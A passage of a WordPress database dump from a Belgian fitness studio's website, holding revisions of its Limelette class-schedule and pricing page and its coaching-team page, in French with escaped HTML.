class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:47:17', '2013-11-04 17:47:17', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(383, 1, '2013-11-04 17:46:22', '2013-11-04 17:46:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:46:22', '2013-11-04 17:46:22', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(387, 1, '2014-02-09 20:36:22', '2014-02-09 20:36:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nLimelette\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\n\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\n\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-autosave-v1', '', '', '2014-02-09 20:36:22', '2014-02-09 20:36:22', '', 361, 'http://www.crosstrainingcenter.be/361-autosave-v1/', 0, 'revision', '', 0),
(388, 1, '2013-11-04 18:04:37', '2013-11-04 18:04:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 18:04:37', '2013-11-04 18:04:37', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(390, 1, '2013-11-06 21:05:33', '2013-11-06 21:05:33', '', 'chloe_chmiel_pti', '', 'inherit', 'open', 'open', '', 'chloe_chmiel_pti', '', '', '2013-11-06 21:05:33', '2013-11-06 21:05:33', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(478, 1, '2015-04-21 09:37:57', '2015-04-21 09:37:57', '&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:37:57', '2015-04-21 09:37:57', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(437, 1, '2014-02-17 18:01:07', '2014-02-17 18:01:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et 